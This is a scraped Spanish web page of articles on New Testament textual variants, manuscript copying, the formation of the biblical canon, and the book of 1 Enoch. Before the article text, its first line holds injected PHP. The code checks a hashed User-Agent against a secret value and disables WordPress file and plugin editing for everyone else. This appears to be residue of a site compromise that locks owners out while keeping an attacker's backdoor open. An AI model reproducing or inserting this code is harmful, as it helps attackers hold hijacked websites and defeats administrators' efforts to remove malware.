if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } Nuevo Testamento – Texto Bíblico

La naturaleza de las variantes textuales

La naturaleza de las variantes textuales

Muchos de los manuscritos bíblicos no fueron preparados por escribas profesionales, sino – especialmente en los primeros siglos cuando las iglesias todavía eran pobres – por cristianos de escasa educación. La caligrafía deficiente, las muchas faltas de ortografía y otros errores de copia debidos a la poca preparación en el arte de escribir, muestran que así fue. Un típico error de los copistas es el intercambio de sinónimos tales como “hablar”, “decir” o “expresar”. Muchas de esas sustituciones aparecen en los manuscritos del Nuevo Testamento, aunque en tales casos el significado del texto no ha sufrido. Por ejemplo, algunos manuscritos tienen en Mateo 25:11 la palabra ἦλθον [êlthon] “vinieron”, en vez de ἔρχονται [érchontai], “vienen”:
mat25.11
La diferencia sólo atañe a un tiempo verbal (verbo ἔρχομαι [érchomai]) que quizá sea imperceptible en una traducción.
En muchos lugares difiere la secuencia de las palabras de un manuscrito a otro, aunque el pensamiento sea idéntico. También en este caso la mayoría de las diferencias no tienen importancia, como lo demuestra el ejemplo de Mateo 4:1. Observe a continuación las traducciones literales de cuatro manuscritos de este pasaje:
Mateo 4:1

Otra clase de errores frecuentes es la omisión de palabras, de frases o hasta de líneas completas. Todo mecanógrafo sabe cuán fácil es saltar de una palabra a otra igual que se halla en una línea posterior, omitiendo así el trozo que hay entre esas dos palabras. Los eruditos llaman a esto un error “homoioteléutico”, esto es, omisión debido a similitud o parecido de ciertas palabras. En los manuscritos del Nuevo Testamento no sólo se encuentra esta clase de omisión textual, sino también otras.

En otros casos aparecen adiciones en el texto cuando, por ejemplo, se añade el artículo definido en ciertos pasajes, que no los tienen en los manuscritos más antiguos. La palabra “Jesucristo” aparece en lugares donde en los textos más antiguos sólo dice “Jesús”, y también el atributo “santo” se antepone a la palabra “Espíritu”.

Unas variantes son originadas por errores ortográficos; otras, por confundir palabras que parecen similares a la vista, pero que tienen un significado diferente. Los manuscritos más antiguos del Nuevo Testamento se escribieron sólo con mayúsculas, sin espacios entre las palabras, sin signos de puntuación y sin acentos; por lo tanto, era fácil que el ojo inexperto leyera mal ciertas palabras. Además, es evidente que ciertas notas escritas por lectores en los márgenes de algunos manuscritos, a veces se consideraban erróneamente como parte del texto original por algún copista posterior, quien las incorporó a los nuevos manuscritos. Esos copistas pensaban, sin duda, que la anotación marginal era una omisión de un copista anterior, y que se había escrito en el margen después de descubrirse el supuesto error. Por esta razón han aparecido en manuscritos posteriores adiciones que no se hallan en las copias más antiguas.

Además de todas las variantes involuntarias ocasionadas por imperfecciones humanas, aparecen otros cambios en algunos manuscritos posteriores que revelan un esfuerzo intencionado por mejorar el texto. En algunos casos, pasajes difíciles fueron simplificados con observaciones aclaratorias; en otros, palabras toscas fueron reemplazadas por otras más elegantes, y en otros lugares, construcciones gramaticales en desuso fueron cambiadas por otras más comunes. Algunos manuscritos de los Evangelios muestran que sus copistas fueron influenciados por expresiones similares en textos paralelos, y otros cambiaron expresiones poco comunes de citas del Antiguo Testamento para que concordaran con textos del Antiguo Testamento que les eran familiares.

Codex_alexandrinus, el testimonio más antiguo en griego del texto bizantino en los Evangelios – Lucas 12:54-13:4.

Como los libros del Nuevo Testamento circularon profusamente y muchos miles de copias fueron escritas por personas de diversa capacidad lingüística, es fácil comprender cómo se introdujeron tales variantes en los manuscritos bíblicos. Los dirigentes de la iglesia advirtieron esas diferencias y de vez en cuando se esforzaban por preparar un texto uniforme mediante revisiones; y por eso a veces declaraban que ciertos pasajes eran correctos aunque no siempre se basaban en la evidencia de manuscritos antiguos. En esta manera la iglesia sancionó un texto griego – el Bizantino – que generalmente fue aceptado durante siglos, aunque probablemente difería en muchos detalles de los textos conocidos por la iglesia primitiva.

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LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Introducción

La naturaleza de las variantes textuales

La restauración del texto original

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Introducción

LOS MANUSCRITOS DEL NUEVO TESTAMENTO

P46

Introducción

Los libros del Nuevo Testamento fueron escritos unos 14 siglos antes de que se inventara la imprenta en el mundo occidental. El único método de reproducir la Biblia fue, durante largos siglos, copiar su texto a mano. Todos los manuscritos originales de las Escrituras se han perdido, por lo tanto, el Nuevo Testamento que ahora tenemos es hecho a base de copias, las más antiguas de las cuales se escribieron muchos años después de la muerte de sus autores originales. Es casi seguro que ninguna de las copias que existen fue hecha de los escritos originales, sino de otras copias; y en el proceso de recopiar las Escrituras durante siglos, en manuscritos posteriores de la Biblia se filtraron algunos errores de copia.

La exactitud de las obras impresas se puede comprobar si se dispone de los manuscritos originales del autor; se pueden hacer cambios o correcciones cuando se publica una nueva edición, y esos cambios se ven fácilmente comparando todas las ediciones.

Pero el proceso es diferente cuando se trata de obras que durante siglos han sido escritas a mano y no tenemos los manuscritos originales. En este caso se necesita, con frecuencia, una laboriosa comparación científica antes de que el erudito pueda pensar que probablemente han llegado al texto original de cada pasaje.

Aunque sólo unas pocas de las miles de variantes en el Nuevo Testamento son teológicamente significativas, ya que el teólogo cristiano y el estudiante de la Biblia deben basar su fe en las declaraciones auténticas de los escritores de la Biblia, es sumamente importante la tarea de procurar un texto digno de confianza.

Por lo tanto, al erudito bíblico le corresponde la tarea de estudiar cuidadosamente los manuscritos neotestamentarios, a fin de restablecer un texto que esté tan cerca del original como sea humanamente posible. Generalmente una obra tal se conoce con el nombre de “crítica textual” o “baja crítica”.

Mediante un proceso de diligente estudio crítico, la crítica textual se esfuerza por descubrir y eliminar errores de copistas para llegar a un texto bíblico que, en todo lo posible, sea el mismo que salió de las manos de los escritores originales. Esta obra ha sido sumamente fructífera, y en los últimos años lo que ha logrado la crítica textual y sus descubrimientos, han hecho mucho para restablecer la confianza en el texto de la Biblia.

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LOS MANUSCRITOS DEL NUEVO TESTAMENTO

Introducción

La naturaleza de las variantes textuales

La restauración del texto original

Materiales y estilos

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Introducción

LA HISTORIA DEL CANON BÍBLICO

II – NUEVO TESTAMENTO

KATA MARKON

Introducción

La historia del canon del Nuevo Testamento no es tan compleja como la del Antiguo Testamento. Aunque las raíces de la formación del canon del Nuevo Testamento se remontan a la era apostólica, durante varios siglos no fue posible lograr un reconocimiento uniforme de todos los libros en toda la cristiandad.

El canon del Nuevo Testamento no comenzó a existir por un decreto papal ni tampoco por la decisión de un concilio ecuménico de la iglesia. Tampoco fue el resultado de un “milagro”, según se afirma en el siguiente relato legendario:

Se dice que los delegados al Concilio de Nicea, deseosos de saber cuáles eran los libros canónicos y cuáles no, colocaron debajo de la mesa de la comunión todos los libros para los cuales se pedía un lugar en el canon. Entonces oraron para que el Señor les mostrara cuáles eran los libros canónicos colocándolos milagrosamente encima del montón. Según el relato, ese milagro sucedió durante la oración, y así se estableció el canon del Nuevo Testamento. Este relato, de origen dudoso, no tiene la más mínima posibilidad de ser cierto.

Al abordar el surgimiento de un canon de la iglesia del Nuevo Testamento, es necesario que la evidencia fundamental proceda del propio NT. El Nuevo Testamento sugiere que los escritos apostólicos fueron aceptados como parte de las Escrituras, junto con el Antiguo Testamento. Como uno podría esperar, tales indicaciones se encuentran especialmente en los libros posteriores del Nuevo Testamento (Lucas 10:7; cf. 1 Timoteo 5:18).

Pablo se refiere al Antiguo Testamento como “las santas Escrituras” (Romanos 1:2), “la palabra de Dios” (Romanos 3:2) y las “Sagradas Escrituras” (2 Timoteo 3:15), títulos que expresan su origen y autoridad divinos. Jesús y los apóstoles usaron la palabra “Escritura” o “Escrituras” sólo en referencia a un conjunto de escritos bien conocido y firmemente establecido. Como cuando Jesús dijo a los dirigentes judíos: “Escudriñad (o Escudriñáis) las Escrituras” (Juan 5:39), o como cuando Pablo discutió con los judíos en Tesalónica “declarando y exponiendo por medio de las Escrituras” (Hechos 17:2, 3), las Escrituras hebreas: la ley, los profetas y los escritos.

La misma autoridad llegó a adjudicarse a los 27 libros del Nuevo Testamento. En 1 Timoteo 5:18 Pablo yuxtapone una declaración de Jesús: “Digno es el obrero de su salario” con una cita del Antiguo Testamento (Deuteronomio 25:4), e introduce ambas con la frase: “Pues la Escritura dice”. La frase introductoria sugiere que Pablo estaba familiarizado con el Evangelio de Lucas y lo reconocía como Escritura. En una manera similar, Pedro reconoce las cartas de Pablo como Escritura, “según la sabiduría que le ha sido dada” (2 Pedro 3:15) colocando sus epístolas en un mismo nivel que “las otras Escrituras” (2 Pedro 3:16), por las cuales indudablemente se refirió al Antiguo Testamento.

Pablo, Pedro y Juan usan expresiones que exhiben claramente su comprensión de estar impulsados, como los profetas de antaño, por el Espíritu Santo (Efesios 3:4, 5; 1 Pedro 1:12; Apocalipsis 1:10, 11). Son conscientes de estar hablando y escribiendo con autoridad divina.

2 Timoteo 3:16 – Codex Sinaiticus

La aplicación de 2 Timoteo 3:16, de que toda Escritura es inspirada por Dios, debiera hacerse no sólo a los libros del Antiguo Testamento sino también a los del Nuevo Testamento. Por tanto, que sus escritos ya estuviesen reconocidos como Escritura inspirada por autores cristianos del siglo II d.C. provee justificación adicional para tal aplicación.

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LA HISTORIA DEL CANON BÍBLICO

II – NUEVO TESTAMENTO

Introducción

Las Sagradas Escrituras en la iglesia primitiva

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El testimonio de Cristo y los apóstoles

HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

El testimonio de Cristo y los apóstoles

Cristo no sólo testificó de la existencia de la triple división de la Biblia Hebrea (Lucas 24:44) sino también de que conocía el orden de sucesión de los libros.

El orden de los libros en la Biblia hebrea es muy diferente del de nuestras Biblias modernas. De acuerdo con la triple división de la Biblia Hebrea, la sección Escritos viene al final, con los dos libros de Crónicas (uno en el canon hebreo) al fin del Antiguo Testamento.

El canon según las divisiones judías.JPG 1

Cuando Jesús dijo a los fariseos que se les pediría cuenta por los crímenes cometidos “desde la sangre de Abel hasta la sangre de Zacarías, que murió entre el altar y el templo” (Lucas 11:51; cf. Mateo 23:35), hizo referencia a Abel, el primer mártir, mencionado en el primer libro de la Biblia (Génesis 4:8) y a Zacarías, cuyo martirio se describe en el último libro de la Biblia hebrea (2 Crónicas 24:20-22).

Si Jesús hubiera mencionado la palabra “hasta” en un sentido cronológico, habría mencionado al profeta Urías que fue muerto por Joacim más de un siglo después de Zacarías (Jeremías 26:20-23). La declaración de Cristo proporciona pues una clara evidencia de que en sus días el orden de la Biblia hebrea ya estaba firmemente establecido.

Que Zacarías sea llamado el “hijo de Berequías” en Mateo 23:35, pero “hijo” de “Joiada” en 2 Crónicas 24:20, no debiera explicarse – como lo hacen algunos comentadores – como resultado de la confusión de Mateo, o de algún copista posterior, con el profeta “Zacarías hijo de Berequías”, que vivió siglos después en el tiempo de Darío I (Zacarías 1:1). Joiada, padre de Zacarías, puede haber tenido un segundo nombre, como lo tenían muchos judíos, o Berequías puede haber sido el abuelo materno de Zacarías o bien su verdadero padre y Joiada el abuelo más famoso. La palabra “hijo”, con el significado de “nieto”, era común en la usanza hebrea (ver 2 Reyes 9:2, 20).

Cualquiera sea la interpretación correcta de esta aparente dificultad, los comentadores desde Jerónimo en adelante casi unánimemente han reconocido en el Zacarías mencionado por Jesús al hombre de 2 Crónicas 24:20.

Jesucristo fue un firme creyente en la autoridad de la Biblia tal como existía en su tiempo, y también lo fueron sus apóstoles. Esto se ve manifiestamente en varias declaraciones. Jesús dijo:Erráis, ignorando las Escrituras” (Mateo 22:29). Y presentó pruebas de su mesianismo citando las tres divisiones de las Escrituras del Antiguo Testamento, cuando dijo que “era necesario que se cumpliese todo lo que está escrito de mí en la ley de Moisés, en los profetas y en los salmos” (Lucas 24:44; cf. vers. 25-27). También colocó la creencia en los escritos de Moisés junto con la creencia en sus propias enseñanzas: “Si no creéis a sus escritos”, preguntó el Salvador, “¿cómo creeréis a mis palabras?” (Juan 5:47; cf. vers. 46).

Pablo declaró que Dios había hecho ciertas promesas “por sus profetas en las santas Escrituras” (Romanos 1:2). Dijo a Timoteo, su joven colaborador: “Desde la niñez has sabido las Sagradas Escrituras. . . Toda la Escritura es inspirada por Dios.” (2 Timoteo 3:15, 16).

Otra declaración igualmente indudable es presentada por el apóstol Pedro:Tenemos también la palabra profética más segura, a la cual hacéis bien en estar atentos como a una antorcha que alumbra en lugar oscuro, hasta que el día esclarezca y el lucero de la mañana salga en vuestros corazones; entendiendo primero esto, que ninguna profecía de la Escritura es de interpretación privada, porque nunca la profecía fue traída por voluntad humana, sino que los santos hombres de Dios hablaron siendo inspirados por el Espíritu Santo. ” (2 Pedro 1:19-21).

Estas declaraciones muestran claramente que Cristo y sus apóstoles estaban firmemente convencidos de que el Antiguo Testamento – la Biblia de sus días – era inspirado y tenía autoridad.

En la era apostólica se usó por primera vez la expresión “Antiguo Testamento” con referencia a los libros de la Biblia hebrea. En un pasaje muy discutido, el apóstol Pablo dice que permanece un velo sobre los ojos de los judíos hasta los días del apóstol “en la lección del antiguo testamento” τῆς παλαιᾶς διαθήκης [tês palaiãs diathêkês] (2 Corintios 3:14, Reina-Valera Antigua); “el antiguo pacto” (Reina-Valera 1960)

Los comentadores están divididos en su interpretación de la expresión τῆς παλαιᾶς διαθήκης [tês palaiãs diathêkês] “antiguo testamento” (“antiguo pacto”) de este pasaje, pero puesto que Pablo se refiere a algo que es leído por los judíos, la explicación más plausible es ver en él una referencia ya sea al Pentateuco o a toda la Biblia hebrea. Dado que el término Antiguo Testamento implica la existencia del término Nuevo Testamento, es posible que los apóstoles y otros cristianos quizá ya hayan usado esta última expresión para denominar los escritos acerca de la vida y obra de Cristo, quizá uno de los Evangelios.

Las muchas citas del Antiguo Testamento que se encuentran en el Nuevo también dan un importante testimonio de la autoridad atribuida a los libros del Antiguo Testamento por los autores de los escritos cristianos. Algunas de las citas son cortas, y muchas de las expresiones del libro del Apocalipsis son muy similares a las que se hallan en Daniel, pero pueden no ser realmente citas.

Primero de Enoc (Enoc Etiópico)

Los Seudoepigráficos

Primero de Enoc (Enoc Etiópico)

El seudoepigráfico Primero de Enoc (Enoc Etiópico) es una compilación de las obras de varios autores fariseos, y parte se escribió en hebreo y parte en arameo.  Esta obra apocalíptica es conocida también como 1 Enoc y como Enoc Etiópico porque se ha preservado completamente sólo en etíope, aunque entre los Manuscritos del Mar Muerto se han encontrado fragmentos en hebreo y arameo.

Chester Beatty XII, Greek manuscript of the Book of Enoch, 4th century

P. Chester Beatty XII, hoja 3, actualmente en la universidad de Michigan.

Es el más largo de los seudoepigráficos, y el más importante de los apocalipsis no canónicos proveniente de los siglos II y I a.C.  Consiste en una serie de revelaciones adjudicadas a Enoc concerniente al origen del mal, la naturaleza y el destino de los ángeles;  también incluye temas escatológicos como el juicio, la resurrección y la naturaleza de la Gehenna y el Paraíso.

Después de una introducción que describe el propósito del libro y el viaje de Enoc a los cielos, la 1ª obvia división (caps. 6-36) rastrea el mal hasta los ángeles caídos y su relación carnal con las hijas de los hombres. Los caps. 37-71 contiene las Tres Similitudes de Enoc, el 1º de los cuales trata, entre otras cosas, del futuro reino de Dios (caps. 37-44).  En la 2ª de estas similitudes (caps.  45-57) presenta al superhumano “Hijo del Hombre”, quien viene a la tierra como Mesías.  Muchos eruditos sostienen que estas porciones del “Hijo del Hombre” tuvieron mucha influencia sobre los Evangelios del Nuevo Testamento.  En la 3ª similitud se describe la gloria del Mesías y su reinado sobre los reyes de la tierra (cps 58-69). Sin embargo, la ausencia en los Rollos del Mar Muerto de la 2ª sección de Enoc, que contiene las Similitudes, parece indicar que son de origen tardío, y que deben ser atribuidas a un judío o a un cristiano de los siglos I y II d.C. Los caps. 72-82 hablan de las luminarias celestiales.  Le siguen 2 sueños-visiones (caps. 83-90): uno trata del diluvio; el otro, de la historia del mundo hasta la cimentación del reino mesiánico.  Lo que sigue de la obra contiene las exhortaciones de Enoc, el Apocalipsis de las Semanas -el cual divide al mundo en 10 períodos- y, finalmente, algunos apéndices y agregados misceláneos (caps. 91-105).

De particular interés son sus enseñanzas acerca del reino venidero y la vida futura. Aparentemente declara que el gobernante trascendental de ese reino estuvo escondido con Dios desde antes de la creación del mundo (cap. 46: 1-2; 48: 6; 62: 7). Varios títulos que se dan a este gobernante se aplican a Jesús en el Nuevo Testamento. Es llamado “Su [de Dios] Ungido [o Mesías]” (cap. 52:4); “el justo” (cap. 38: 2; cf. Hechos 3: 14); “el Elegido” (1 Enoc 40: 5; 45:3-4; cf. Lucas 23: 35); y “el Hijo del Hombre” (1 Enoc 46: 3-4; 62: 5).
 
Las diversas partes de Primero de Enoc – escritas por diferentes autores – indican que existían varios puntos de vista entre los judíos del siglo I a. C. en cuanto al reino mesiánico. Los cap. 1-36 enseñan que ese reino existirá eternamente en la tierra después del juicio final; los cap. 37-71, que perdurará por la eternidad en la tierra y en el cielo, y que comenzará con el juicio final; y en los cap. 91-104 se enseña que el reino mesiánico será transitorio, estará en la tierra y será seguido por el juicio final.
 
También se da importancia a Azazel, identificado como el que “ha enseñado toda injusticia en la tierra y ha revelado los secretos eternos que estaban (guardados) en el cielo, los cuales los hombres se esforzaban por conocer” (cap. 9:6).
 
El juicio final de Azazel se declara con estas palabras: “El Señor dijo a Rafael: ‘Ata a Azazel de pies y manos, y échalo a las tinieblas; haz una abertura en el desierto, el que está en Dudael, y échalo ahí dentro. . . Y en el día del gran juicio será echado en el fuego. . . Toda la tierra ha sido corrompida por las obras que enseñó Azazel; atribúyele a él todos los pecados’ ” (cap. 10: 4-8).
 
Aunque la identificación de Azazel con Satanás no se puede probar por la autoridad del libro de Enoc, su nombre aquí muestra lo que entendían los judíos acerca de Azazel en el siglo I a. C.
 
Primero de Enoc señala el fermento del pensamiento escatológico que predominaba en ciertos sectores del judaísmo precisamente antes del período del Nuevo Testamento y durante él.
La referencia que hace Judas de Enoc y la cita de la profecía de ese patriarca (Judas 1:14, 15), han sido objeto de muchos comentarios. Los comentadores concuerdan generalmente en que el libro seudoepigráfico Primero de Enoc circulaba entre los judíos a mediados del siglo I a. C. . En el cap. 1:9 de ese libro dice lo siguiente: “¡Y he aquí! El viene con diez mil de sus santos para ejecutar juicio sobre todos y para destruir a todos los impíos; y para convencer de culpabilidad a toda carne de todas las obras de su impiedad que han cometido impíamente, y de todas las cosas duras que los impíos pecadores han hablado contra El” (R. H. Charles, The Apocrypha and Pseudepigrapha of the Old Testament, t. 2, p. 189).
Por lo común se cree que Judas citó de esta obra no canónica, aunque algunos sostienen que en realidad fue a la inversa. Si Judas citó de Primero de Enoc fue porque el Espíritu Santo lo indujo a hacerlo.
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